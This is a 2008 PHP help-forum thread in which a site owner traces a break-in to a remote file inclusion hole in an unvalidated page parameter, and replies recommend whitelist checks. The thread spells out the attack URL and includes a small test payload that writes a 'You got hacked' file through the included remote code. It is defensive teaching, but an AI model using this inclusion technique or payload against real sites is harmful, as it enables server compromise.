View Full Version : Finding Hack Attack

01-17-2008, 02:57 PM
Someone's been hacking my site recently, and I'm trying to learn how to discover which file(s) the hack is coming from.

I'm looking through my sites raw logs trying to uncover something, but its kind of like gibberish to me. I do see this in there though, and wondering if this could be the start of the attack. And if so, if anyone can offer some insight on how to stop it.


01-17-2008, 03:02 PM
It depends on what index.php does with the $_GET['page'] parameter.

If you are doing an include() without verifying that the values are what you expect, then content from another site would be placed into your php code. Any raw php code in the included content would then be executed on your server.

01-17-2008, 03:24 PM
Well, I've been working with alot of code first developed by others to help me learn. but the index page isn't that complex and appears secure from the little I've learned. It basically has this code:

if ($_GET[page]==""){

And then this below it get the page

<div id="index_container">
<?php require_once("".$current_page.".php"); ?>

01-17-2008, 03:38 PM
All I need to do with that is use index.php?page=http://myurl/mypath/mypage and have a file mypage.php with php disabled for files in the mypath folder and your code will do -

<?php require_once("http://myurl/mypath/mypage.php"); ?> and any php code that I put in mypage.php (which I have caused my server to not be parsed by php on my server) will be included and run on your server.

Hack complete!

You need to put a list of allowable page names in an array and then use the in_array() function to test that $_GET['page'] is only one of the acceptable values.

I know we have said it many times before, but here it is again - ALL external data cannot be trusted and needs to be validated by your code before you use it in any way.

Edit: The remote site can also just have php code that echo's out the php code it wants. So, it is not even necessary to go to the trouble to disable the parsing of php files.

01-17-2008, 04:31 PM
ok, trying to follow what you said, and just put this together, and it does work. So this should stop someone from doing that?

$page = array(

if (in_array($_GET[page], $page)) {
$current_page = $_GET[page];
} else {
$current_page = 'homepage';

I was also wondering if there is another approach? Perhaps to have sometype of function check if the $_GET[page] is a file on your website, and if its not to ignore it?

01-17-2008, 05:01 PM
Yes you could check if there is a file on your system with the file name made from the GET parameter.

I would not use file_exists() or is_file(). These two functions currently don't support the http/https protocol, but if they do in the future and you use either of them to check $_GET['page'], the http://url might pass the test at some point under future versions of php.

It is always best to make a list of expected values (everything is within your control) and then compare what you received (something outside of your control) with those values instead of testing the received value directly (by specially formatting or encoding the value, a hole in a direct test could be exploited so that the value passes the test.)

I would use something like the glob() function, which returns an array of file names, to get a list of files expected, then either use an array comparison/search function or the in_array() function to check if the received value is in the array of expected files.

01-17-2008, 05:18 PM
ok, trying to follow what you said, and just put this together, and it does work. So this should stop someone from doing that?

$page = array(

if (in_array($_GET[page], $page)) {
$current_page = $_GET[page];
} else {
$current_page = 'homepage';

I was also wondering if there is another approach? Perhaps to have sometype of function check if the $_GET[page] is a file on your website, and if its not to ignore it?

if(isset($_GET) && isset($_GET['page'])){
// check $_GET['page'] values, as you done above or other way
// put you stuff here.
exit; // stop here every thing else

this avoid a request such:


any request passed to index.php, must pass at least three check:
- is a valid parameter name, not "", or something you don't use
- it's value is valid for a specific parameter
- don't contain escape secvences, something that could affect your code

best regards

01-17-2008, 05:25 PM
Searching out the glob() function, I found what looks to be a good function to use. Just not sure how to incorporate yet.

/* alpharead version 3: This function returns an array containing the names of the files inside any given folder, excluding files that start with a '.', as well as the filenames listed in the '$killit' array. This array is sorted using the 'natural alphabetical' sorting manner. If no input is given to the function, it lists items in the script's interpreted folder. Version 3 fixes a MAJOR bug in version 2 which corrupted certain arrays with greater than 5 keys and one of the supposedly removed filenames.
written by Admiral at NuclearPixel.com */

function alpharead3($dir){
if(!$dir){$dir = '.';}
foreach(glob("$dir/*") as $item){$sort[]= end(explode('/',$item));}

$killit = array('index.html', 'index.php', 'thumbs.db', 'styles.css');
$killcounter = 0;
foreach($sort as $sorteditem){
foreach($killit as $killcheck){
if(strtolower($sorteditem) == strtolower($killcheck))
foreach($sort as $item){$return[]= $item;}

if(!$return){return array();}
return $return;

01-17-2008, 05:32 PM
How many pages does your site have? If it is a small enough site, just keeping an array in an include of the valid files would be faster than going to disk and checking for each page request.

01-17-2008, 06:15 PM
Would this do?

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Untitled Document</title>

# default page
$default = 'inc/home.php';

# list of all site pages + the id they will be called by
$pages = array('about' => 'inc/about.php','contact' => 'inc/contact.php','register' => 'inc/register.php','listings' => 'inc/listings.php','search' => 'inc/search.php');
if(array_key_exists($_GET['page'], $pages))
foreach($pages as $pageid => $pagename)
if($_GET['page'] == $pageid && file_exists($pagename))
/* if somebody's making a request for ?page=xxx and
the page exists in the $pages array, we display it
checking first it also exists as a page on the server */
include $pagename;
} // end foreach
/* if the page isn't listed in $pages, or there's no ?page=xxx request
we show the default page, again we'll also just make sure it exists as a file
on the server */
if(file_exists($default)) include $default;

01-17-2008, 08:01 PM
I'm also trying to test and learn if this was indeed done on my site. So, in testing locally, I've have the following url:


and in my direct.php file, I'm trying to create a file.

$ourFileName = "testFile.txt";
$ourFileHandle = fopen($ourFileName, 'w') or die("can't open file");

If I call the direct.php directly, the file is made in my hacktest directory. But when I call the file as appended to my index.php, the file is not created. Should it be created in the same directory where the index.php file is?

01-17-2008, 08:33 PM
For your testing. Your existing code adds the .php to the end of the file so the URL is -


And since php is probably parsing the direct.php file on your server, use the following for direct.php, including the <?php and ?> tags in the file -

echo '<?php
$ourFileName = "testFile.txt";
$ourFileHandle = fopen($ourFileName, "w") or die("can\'t open file");
fwrite($ourFileHandle,"You got hacked");

01-18-2008, 07:57 PM
ok, thanks, I'll have to try that out this afternoon.

I think I've gotten things locked down now, but someone is still trying to access these old files on my site. In my error logs, I'm seeing the below. I'm not sure if there is anything that I can do about it, other than trying to block the IPs.

[Fri Jan 18 13:52:04 2008] [error] [client] File does not exist: /seguran\xc3\xa7a/patch_hotmail.php
[Fri Jan 18 13:51:52 2008] [error] [client] File does not exist: /seguran\xc3\xa7a/patch_hotmail.php
[Fri Jan 18 13:49:04 2008] [error] [client] File does not exist: /seguran\xc3\xa7a/patch_hotmail.php
[Fri Jan 18 13:49:02 2008] [error] [client] File does not exist: /seguran\xc3\xa7a/patch_hotmail.php
[Fri Jan 18 13:48:57 2008] [error] [client] File does not exist: /seguran\xc3\xa7a/patch_hotmail.php
[Fri Jan 18 13:36:33 2008] [error] [client] File does not exist: /seguran\xc3\xa7a/BBB8_Assistir_agora.php
[Fri Jan 18 13:36:32 2008] [error] [client] File does not exist: /seguran\xc3\xa7a/BBB8_Assistir_agora.php
[Fri Jan 18 13:36:31 2008] [error] [client] File does not exist: /seguran\xc3\xa7a/BBB8_Assistir_agora.php
[Fri Jan 18 13:36:26 2008] [error] [client] File does not exist: /seguran\xc3\xa7a/BBB8_Assistir_agora.php
[Fri Jan 18 13:33:35 2008] [error] [client] File does not exist: /seguran\xc3\xa7a/BBB8_Assistir_agora.php
[Fri Jan 18 13:33:29 2008] [error] [client] File does not exist: /seguran\xc3\xa7a/BBB8_Assistir_agora.php
[Fri Jan 18 13:30:47 2008] [error] [client] File does not exist: /seguran\xc3\xa7a/patch_hotmail.php
[Fri Jan 18 13:30:34 2008] [error] [client] File does not exist: /seguran\xc3\xa7a/patch_hotmail.php
[Fri Jan 18 13:27:54 2008] [error] [client] File does not exist: /seguran\xc3\xa7a/BBB8_Assistir_agora.php
[Fri Jan 18 13:27:46 2008] [error] [client] File does not exist: /seguran\xc3\xa7a/BBB8_Assistir_agora.php
[Fri Jan 18 13:26:51 2008] [error] [client] File does not exist: /seguran\xc3\xa7a/BBB8_Assistir_agora.php

01-19-2008, 09:30 AM
You have to be careful when blocking IPs since potentially lots of people can be behind a single IP. But the important thing is that you have your site locked down and they can't exploit the security hole anymore.